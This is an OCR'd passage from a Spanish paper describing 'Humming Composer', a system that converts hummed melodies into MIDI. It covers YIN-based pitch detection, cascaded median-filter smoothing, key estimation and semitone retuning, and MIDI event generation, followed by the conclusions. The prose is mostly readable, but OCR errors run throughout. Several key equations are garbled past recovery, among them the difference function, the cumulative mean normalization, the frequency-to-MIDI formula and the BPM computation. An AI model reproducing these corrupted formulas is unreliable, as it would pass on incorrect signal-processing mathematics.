cuencia MIDI, exactamente lo que se ha grabado previamente
con la voz, también en términos de duracién. Para ello se
tiene en cuenta que la frecuencia de muestreo es de 8 kHz
y que el desplazamiento de la ventana para cada trama es de
tan s6lo una muestra. Puesto que para cada trama se calcula
un valor de pitch (nota), la tasa de generacién de notas es
de 1 nota/muestra. Dado que la frecuencia de muestreo nos
indica que hay 8000 muestras/s, se obtiene una nota cada
Crotas = 1.25-10™* s. Como se recomienda que el tarareo
se realice con un fonema sordo seguido de uno sonoro (p.e.
pa, ta, da...), se podra contar el niimero de repeticiones de una
misma nota que hay entre dos segmentos sin pitch (sordos) y
asi obtener la duracion total de esta. Estos valores de duracion
de las notas serdan necesarios para la creacién de la secuencia
MIDI, ya que en ésta se debe especificar cudndo comienza
una nota y cudndo termina.

D. Deteccion de Pitch

El detector de pitch estd basado en el algoritmo YIN
[1], pero incorpora una serie de modificaciones destinadas
a mejorar el rendimiento de la deteccién y a solventar las
limitaciones de los dispositivos en los que se utilizard el
sistema. La implementacion se lleva a cabo en dos etapas. La
primera de ellas realiza los pasos 2, 3 y 4 del algoritmo [1],
funcion diferencia, funcion diferencia de media acumulada
normalizada y umbral absoluto, sobre todas las tramas de la
sefial. La segunda etapa se encarga de descartar las tramas
que hayan sido marcadas como ruido o silencio en la etapa
anterior y ejecutar el paso 6 del algoritmo, mejor estimacion
local. Para ello hard uso de los resultados obtenidos en la
primera etapa y de las tramas de la sefial que no han sido
descartadas. No se incorpora el paso 5 del algoritmo, interpo-
lacion parabdlica, a la implementacién, dado que la mejora
que aportaria a los resultados es muy pequefia en relacién
con la carga computacional extra que tendria que soportar el
dispositivo al incluirlo. En la Figura 1 se puede observar de
manera grafica un esquema del proceso de deteccién de pitch
implementado que se explicard a continuacion.

La primera etapa del detector de pitch comienza con el
célculo de la funcion diferencia, paso 2 del algoritmo YIN,
sobre el segmento de voz s(n;t). Como todos los procesos
deben realizarse sobre todos los segmentos de voz, a partir
de ahora se notard a cada segmento de voz de forma genérica
como s(n) por simplicidad. La forma de la funcion diferencia

€s:

W—r

e 360 =G+ )

Vie[l,2,...,N]; Vre[l,2,..., Ny,

dt (T) =

3

donde N es la longitud, en muestras, de la trama de voz,
siendo N; el desplazamiento 7 méximo considerado.

Con los valores de la funcion diferencia se calcula la
funcion diferencia de media acumulada normalizada con la
siguiente expresion:

1 T=0;

di(7) -
23071 () 70

A continuacién, en el paso 4 se establece un umbral
absoluto de valor 0.1 y se elige el valor mas pequefio de
7 que da un minimo en d;/(7) menor que ese umbral. El
desplazamiento 7 que ofrece una media acumulada minima as{
como el valor de este minimo se almacenan en lo que se puede
definir como un proceso de almacenamiento de minimos. En
el caso de no encontrar valores por debajo del valor umbral,
se supondra que hay silencio o ruido y se almacenard un valor
de -1.

Una vez se tienen los resultados del paso 4, comienza
la segunda etapa del detector de pitch. Esta segunda etapa
comienza clasificando las tramas en tramas de voz y silen-
cio/ruido. Para ello se consideran la posicién y valor del
minimo de la media acumulada de d;/(7). En el caso de
que el valor leido sea un -1, significard que no es voz y
se descartard la trama, mientras que en el caso opuesto se
procederd a ejecutar el paso 6 sobre la trama seleccionada.
Este paso lleva a cabo una bisqueda entre los valores vecinos
de d;/(7) para comprobar si hay mejores estimaciones entre
ellos. La busqueda se realiza para cada indice de tiempo
t, donde se busca un minimo de d'(Ty) para € dentro de
un intervalo pequefio [t — Trnax/2,t + Tmaz/2], siendo Ty
la estimacién en el tiempo 6 y Tp,.x el periodo maximo
esperado. Basado en esta estimacion inicial, el calculo del
algoritmo es aplicado de nuevo con un rango de busqueda
restringido para obtener la estimacion final usando T}y, = 25
ms y un rango final de bdsqueda del +20% de la estimacién
inicial. Como nuestra frecuencia de muestreo es de 8§ kHz y
Timax = 25 ms, el intervalo de bisqueda es de [t—100, t+100]
muestras. Obtenido el rango de busqueda restringido, se llega
al dltimo paso de la deteccidn de pitch. Este paso consiste
en calcular el valor minimo de los valores de la funcion
diferencia de media acumulada normalizada, d;'(7), que se
encuentran dentro de las posiciones especificadas por el rango
de biuisqueda restringido. La posicién del minimo serd nuestra
estimacion de pitch. Una vez se ha obtenido la estimacién de
pitch, se calcula el nimero de nota MIDI equivalente a esa
frecuencia mediante,

p(f) =69+ <12 -log, (44({Hz>) ;

donde p(f) es el nimero de nota MIDI y f es el valor de la
frecuencia de pitch en hertzios.

di'(1) = “

&)
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Fig. 1. Esquema del detector de pitch. Se pueden observar dos etapas
diferenciadas: la primera etapa estd constituida por los tres primeros bloques
en horizontal. Esta etapa realiza los pasos 2, 3 y 4 del algoritmo YIN.
La segunda etapa estd constituida por los primeros 5 bloques verticales.
Esta descartard las tramas que no sean de voz e implementard el paso 6
del algoritmo. El ultimo bloque vertical serd el encargado de convertir las
estimaciones de pitch en notas MIDI y almacenarlas. Las lineas de puntos
indican que en cada etapa se vuelve al principio para cada trama y sélo se
termina cuando se haya finalizado con todas las tramas.

Finalmente, todas las notas MIDI, calculadas a partir de las
estimaciones de pitch, se almacenan en un vector de la forma:

P(t) = (p17p27 "‘7pT)’ (6)

siendo 7" el nimero total de segmentos de voz considerados
y {pt; t =1,2,...,T} el conjunto de notas obtenido a partir
del andlisis de los segmentos.

Los resultados obtenidos realizando la deteccién de pitch
sobre un tarareo de ejemplo se muestran en la Figura 2(a).
Aunque estos resultados son aceptables, pueden observarse
notas que parecen no estar en la posicion que debieran. Esto
se debe en gran medida a la dificultad de tararear sin desafinar
por parte del usuario y a errores en la detecciéon del pitch
inherentes al estimador. Para solucionar estos problemas en
la obtencién de la secuencia de pitch se implementa el tercer
gran bloque del sistema, el bloque de afinacion y suavizado
del contorno de pitch.

E. Afinacion y Suavizado del Contorno de Pitch

Una vez que se ha estimado el pitch para todas y cada
una de las 7' tramas, se implementa el bloque de afinacion
y suavizado del contorno de pitch. Este bloque tiene como
entrada el vector P(t). En condiciones normales, este vec-
tor contendrd algunas notas erréneas debido a fallos en la
deteccién del pitch. Los factores que desencadenan errores

177

RHILEE L RLH L

Fig. 2. Representacion de las notas asociadas al valor del pitch en funcién
del tiempo para un tarareo de una escala de Do Mayor: (a) original, (b)
tras aplicar el suavizado entre silencios, (c) tras afadir el suavizado relativo,
(d) tras afadir el suavizado en bloques, (e) tras afiadir el procedimiento de
afinacién.

en la deteccidon del pitch son, entre otros, desafinaciones
durante la entonacién de la melodia vocal, ruido acustico,
limitaciones en la suposicion de estacionariedad de las tramas,
etc. Teniendo en cuenta que los factores expuestos estin
siempre presentes en el proceso de detecciéon de pitch, se
construye el elemento de afinacion y suavizado del contorno
de pitch para conseguir solventar estos factores que degradan
la solucién final y obtener asi un mejor resultado. El bloque se
construye mediante la aplicacién en cascada de tres filtros de
mediana y un algoritmo de afinacién basado en la tonalidad
musical. Los filtros de mediana fueron disefiados con el fin
de suavizar el contorno de pitch y solventar, principalmente,
errores causados por el estimador, mientras que el algoritmo
de afinacién se hizo con el fin de solucionar las desafinaciones
creadas por el usuario al tararear. No obstante, se puede
observar que tanto los filtros de mediana como el algoritmo
de afinacién se complementan. Es decir, los filtros de mediana
mejoran en cierta forma las desafinaciones y el algoritmo
de afinacién puede resolver algunos errores inherentes al
estimador.

1) Suavizado del Contorno de Pitch: El suavizado del
contorno de pitch se realiza mediante la implementacién
en cascada de tres filtros de mediana. La particularidad de
este filtro no lineal, que lo hace especialmente interesante
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Fig. 3. Diagrama de bloques del subsistema para la mejora del contorno de
pitch.

para nuestro propoésito, es su capacidad para la eliminacién
de muestras de tipo impulsivo dejando el resto intactas.
Esta caracteristica es muy importante dado que no deseamos
modificar el valor del contorno de pitch sino eliminar picos
ocasionales no deseados (siendo éste el tipo de error que
con mas frecuencia se encuentra). La implementacion de este
filtrado es como sigue. Sea P(t) la secuencia de notas que
deseamos filtrar conteniendo 7" valores, la muestra ¢-€sima a
la salida del filtro se actualiza como:

Pp(t) = Mediana (P (t— mg 1) ,...,P(t+ mg 1)) o)

donde 1 < t < T, Mediana(-) es el operador de mediana y
x =5 es el orden del filtro (ajustado empiricamente).

En la Figura 3 se muestra la organizacion de los diferentes
filtros de mediana en el sistema. Identificaremos a cada uno
de estos filtros teniendo en cuenta la funcién que desempeiie.
En primer lugar, se realiza el suavizado entre silencios, en
segundo lugar el suavizado relativo y en tercer y ultimo lugar
el suavizado en bloques. La salida de los filtros se introducird
en el bloque de afinacion de secuencia que se explica en el
apartado II-E2.

a) Suavizado entre silencios: Este primer filtrado se basa
en la idea de que al tararear la melodia utilizamos una silaba
para cada nota (hecho natural). Si se insta al usuario a utilizar
silabas de la forma pa, fa, da, etc., se puede aprovechar el
fonema sordo (sin pitch) como marcador entre notas. Puesto
que entre dos pitch nulos sélo hay una nota, si el entorno
de pitch presenta variaciones en este periodo debe ajustarse
para que sea constante. Para solucionar estas variaciones se
realiza un filtrado de mediana entre cada par de pitch nulos
de acuerdo con (7). Un ejemplo de los resultados obtenidos
llevando a cabo este procedimiento sobre la secuencia de
tarareo se muestra en la Figura 2(b).

Si comparamos estos resultados con los obtenidos anteri-
ormente sin ningdn tipo de filtrado, se observa cémo se han
unificado los bloques de notas, reduciendo en gran medida
las variaciones indeseadas cuando se tararea una nota deter-
minada. No obstante, siguen apareciendo notas que parecen
estar fuera de lugar y que no siguen la melodia que dibuja
el resto de las mismas. Por ello se desarrolla el suavizado
relativo.

b) Suavizado relativo: Como se muestra en la Figura
2(b), hay ocasiones en las que se producen saltos indeseados
entre notas que se sitian fuera de la melodia que las demas
notas dibujan. Para solventar este problema se implementa un
filtrado relativo. Dicho filtrado se realiza teniendo en cuenta
las notas vecinas tal que se pueden solucionar las variaciones
abruptas entre notas que no guardan relacién. En nuestro caso
concreto, el filtrado se lleva a cabo mediante un barrido nota
a nota sobre el vector de entrada P,,(¢) a partir del que se
crean bloques de 20 notas (ajustado experimentalmente), 10
anteriores y 10 posteriores a la nota actual. A estos bloques
se les aplica el filtrado de mediana de acuerdo de nuevo con
(7). La salida tras el filtrado relativo es denominada P, 2(t).

Este filtrado conlleva menos cambio en la secuencia de
notas que el suavizado entre silencios. Esto se debe en gran
medida a que los bloques sobre los que se implementa son
pequefios (20 notas). No obstante, es una mejora sutil sobre
la eleccion de notas. La figura 2(c) muestra un ejemplo con
este filtrado.

¢) Suavizado en bloques: Este tercer y tltimo filtrado
tiene dos funciones principales: la primera es concluir la fase
de suavizado de la secuencia de notas y la segunda es con-
seguir una representacion eficiente del MIDI. La conversién
a secuencia MIDI viene limitada por un ndmero maximo de
BPM (beats per minute). Si se utiliza la secuencia de notas tal
y como se tiene definida actualmente, se tendria una nota cada
1.25-10~% s, de acuerdo con lo explicado en la Subseccién
II-C. De esta forma, los BPM que tendria que reconocer el
convertidor MIDI serfan:

60 s
1.25-10"%s

un valor excesivamente grande, ya que el maximo valor
admisible es de 250000. Para solucionar este problema se
propone realizar el filtrado de mediana sobre bloques de 200
notas y sustituirlos por el valor de la mediana resultante. De
esta forma, el valor de los BPM se ve disminuido en un
factor de 200. Esta disminucién se verd también plasmada
en el vector de salida del filtro, Pc(t), cuya longitud serd
de T'/200. Fueron elegidos bloques de 200 notas, y no otro
valor, de forma experimental en funcién de los resultados que
proporcionaban en términos perceptuales.

Por otra parte, cabe destacar que este filtrado complementa
excelentemente los filtros anteriores. Mientras que estos real-
izan la correccién de las notas de forma detallada, este filtro
lleva a cabo el proceso de forma mds extensa, ya que utiliza
bloques de 200 notas. Esto resulta viable, ya que los filtros
de suavizado entre silencios y suavizado relativo previamente
han ido agrupando las notas y solventando las variaciones
erroneas de las mismas de forma detallada. Con respecto a
los resultados, se puede decir que son notablemente mejores,
viéndose un ejemplo de ello en la Figura 2(d), donde las notas
fuera de la melodia son casi inexistentes.

2) Afinacion de Secuencia: Este bloque se desarrolla con
el fin de solucionar problemas de afinacién causados por el
usuario durante la captacion de la secuencia de voz. Para
ello se estudia la tonalidad musical. La tonalidad se puede
definir como el conjunto discreto y ordenado de notas del
que se dispone o se restringe su uso para la composicion. Asi
pues, dependiendo de la tonalidad que tenga una melodia,

BPM = < > = 480000, 8)
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Fig. 4. Ejemplo de histograma de las notas contenidas en una melodia.

siempre y cuando se hable de musica tonal, se hard uso de
un conjunto particular de sonidos o notas. De esta forma,
si se quisiera componer una melodia utilizando la tonalidad
de Do Mayor, el conjunto discreto de notas que se deberia
utilizar estaria constituido por Do, Re, Mi, Fa, Sol, La y
Si. Por tanto, a partir del andlisis de las notas contenidas
en una melodia, es posible estimar la tonalidad de ésta a
partir de un recuento de los sonidos o notas musicales que
acontecen. Asi, las notas presentes en la melodia pero fuera
de la tonalidad (supuestamente a causa de desafinaciones del
usuario o, incluso, debido a fallos durante la estimacion del
pitch) son sustituidas por notas que estan dentro de ella.

Para realizar esta afinacion de secuencia, se comienza
estimando la tonalidad de la secuencia de voz. Para lograr
este cometido se genera un histograma con las notas de la
sefial de entrada, Pc(t). El espacio muestral del histograma
es el siguiente conjunto: Do, Do#, Re, Re#, Mi, Fa, Fa#, Sol,
Sol#, La, La# y Si. Los valores del histograma se guardan en
un vector columna que es multiplicado por la conocida como
matriz de tonalidades (véase [2]), obteniéndose un vector con
doce valores. Cada fila de esta matriz binaria especifica qué
notas se encuentran presentes (mediante un 1) en la tonalidad
representada por dicha fila. Nétese que la matriz contiene
tantas filas como tonalidades consideradas. Asi, cada uno de
los valores del vector resultante contendrd la suma de todas
las notas que entran dentro de cada una de las tonalidades
y, la posicién del valor maximo en este vector, indicard la
tonalidad de la melodia.

A modo de ejemplo supondremos que el histograma de una
melodia contiene los valores [3,0,14,1,21,1,0,6,0,7,0,10],
donde, como puede verse en la Figura 4, el primer valor
equivale al nimero de notas Do que hay en dicha melodia,
el segundo al niimero de notas Do# y asi sucesivamente.
Si se multiplica este histograma por la matriz de tonali-
dades se obtiene un nuevo vector con los siguientes valores:
(62,5, 58,25,39,52,12,61, 11,52, 32, 32]. Este resultado nos
indicaria que la tonalidad a la que mas se acerca la melodia
es a Do Mayor, ya que tiene un valor de 62.

Una vez que se conoce la tonalidad de una melodia y
las notas asociadas a ella, el siguiente paso es solucionar
los problemas de desafinacidn tratando las notas identificadas
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fuera de la misma. Partiendo de una nota que no pertenece a la
tonalidad estimada, se realiza una bisqueda hacia adelante y
hacia atrds en la secuencia melddica con el fin de localizar la
nota mas cercana (en términos temporales) que se encuentre
en la tonalidad. Si la nota encontrada durante esta biisqueda
difiere en medio tono de la nota que no se encontraba dentro
de la tonalidad, esta ultima es sustituida por el valor de la
nota encontrada en la busqueda.

A continuacién ilustramos el anterior procedimiento contin-
uando con el ejemplo de la melodia cuya tonalidad estimada
es de Do Mayor. Asi, supongamos que el algoritmo de afi-
nacién comienza a recorrer la secuencia de notas y encuentra
un Re#. Dicha nota musical no se encuentra dentro de la
tonalidad de Do Mayor, por lo que se supone desafinada.
Consideremos que comenzando la busqueda hacia adelante
y hacia atrds se halla que la nota mds cercana, teniendo en
cuenta los silencios, es hacia adelante un Re. De este modo,
la nota Re# es sustituida por un Re. En el caso de que la nota
mads cercana hubiese sido por ejemplo un Fa, la nota Re# no
se modificaria, ya que la distancia entre Re# y Fa es mayor
de medio tono. La restricciéon de medio tono se debe a dos
razones principales: la primera es que las desafinaciones mas
comunes suelen ser de medio tono arriba o abajo. La segunda
razén es que, en algunos casos, se utilizan notas fuera de
la tonalidad para dar riqueza melddica a la pieza musical.
Para cerciorarnos de que esta implementacién resultaba la
mds adecuada, se comprobd experimentalmente la afinacion
sin tener en cuenta notas vecinas, la afinacidén sin distancia
minima y la afinacién con distancia minima superior a medio
tono. En todos estos casos, se solucionaban muchas desafina-
ciones. Sin embargo, el nimero de afinaciones erréneas crecia
considerablemente. Por ese motivo, la implementacién final
observa las notas vecinas y utiliza una distancia de medio
tono.

En la Figura 2(e) se muestra la salida P4(t) del proceso
de afinacién sobre la secuencia de voz utilizada anteriormente
con fines ilustrativos (escala de Do Mayor). Como se puede
comprobar, en la primera nota de la secuencia, Do, se produce
una desafinacién al final de la misma hacia la nota Si.
Dado que la nota Si se encuentra dentro de la tonalidad
de Do Mayor, no se modificara. Esta es por lo tanto una
de las limitaciones de este tipo de afinacién por tonalidad.
Si se desafina una nota produciendo otra nota dentro de la
tonalidad en que se tararea, el sistema es incapaz de saber si
se ha producido una desafinacién. No obstante, en términos
generales se comprueba que el algoritmo produce salidas
perceptualmente mas agradables.

F. Conversion MIDI

El dltimo bloque implementado en el sistema Humming
Composer es el encargado de convertir la secuencia de notas
P4 (t) en una secuencia MIDI. Para ello se hace uso de
la libreria de cddigo libre android-midi-lib [3]. Esta libreria
desarrolla todos los eventos propios del sistema MIDI. No ob-
stante, en nuestro caso, como solamente crearemos secuencias
MIDI sencillas, los eventos que se utilizan son los siguientes:

o Introduccion del tempo de la secuencia MIDI en BPM:

En este evento s6lo habra un valor que introducir corre-
spondiente al tempo en BPM. Este es calculado teniendo
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en cuenta que se dispone de una nota o silencio cada
1.25-10* s asf como la simplificacién que introduce el
suavizado entre bloques. De esta forma,

( 1 nota ),(60§>
BpM — ~1:25-107" s/ \lmin/ _, ., nows o
200 minuto

o Cambio de instrumento de la secuencia: En el protocolo
MIDI hay predefinido un conjunto de instrumentos de
los que se hace uso a la hora de reproducir las se-
cuencias MIDI. Dependiendo del valor de instrumento
que se elija, la secuencia puede sonar como piano, tuba,
guitarra, flauta, etc. Este evento se encarga inicamente de
seleccionar el instrumento que se utiliza para reproducir
la secuencia MIDI.

o Inicio de una nota / Fin de una nota: Aunque se trata de
dos eventos individuales, es necesario utilizarlos conjun-
tamente, ya que el primero condiciona el comienzo de
una nota y el segundo el fin de la misma. En el evento
Inicio de una nota se debe introducir el valor de la nota
que se quiere reproducir y la duracion de esta. Para ello,
se realiza sobre el vector de entrada P, (t) un proceso
de conteo de notas repetidas. Este proceso, descrito en
la Subseccién II-C, contard el nimero de veces que
se repite una nota entre dos pitch nulos, determinando
asi su duracién. El evento Fin de una nota tiene como
valores de entrada la nota y el momento en que debe
terminar de reproducirse. Para conseguir el valor en que
debe dejar de reproducirse una nota, se guardard en un
vector la duracién de todas y cada una de ellas y en otro
la duracién acumulada de las notas. Este tltimo vector
servird de referencia de tiempo, es decir, se utilizard para
seleccionar cuindo debe comenzar una nota y cudndo
terminar.

III. CONCLUSIONES

El objetivo principal de este proyecto era la creacién de
un compositor MIDI mediante tarareo. Con este fin se ha
desarrollado un sistema capaz de detectar las caracteristicas
de pitch de una melodia, traducir estas caracteristicas a notas
musicales, determinar la duracién de las mismas y conver-
tirlas en una secuencia MIDI. Esta tarea dista de ser trivial,
observandose algunos problemas en la deteccién del pitch,
los cuales se intentan solventar mediante la implementacién
de ciertos bloques orientados a la afinacién y suavizado del
contorno de pitch basados en filtros de mediana y en la
deteccién de la tonalidad de la melodia.

En general, se puede concluir que el objetivo planteado
se resuelve en gran medida con el sistema desarrollado.
Las secuencias MIDI obtenidas se asemejan bastante a las
melodias tarareadas en un primer momento tanto en tono
como en duracién.

No obstante, cabe destacar que el margen de mejora del
sistema es bastante amplio. El coste computacional en la
obtencién de las secuencias MIDI y las pequefias variaciones
de notas no deseadas se postulan como principales retos de
mejora en futuras versiones del sistema. Algunas de estas
posibles mejoras son la utilizacién de servidores remotos
para mejorar el rendimiento, la implementaciéon de sampler
interactivos, la creacion de partituras a partir de las secuencias

MIDI o la inclusién de un metrénomo para el control del
tempo de la grabacidn.
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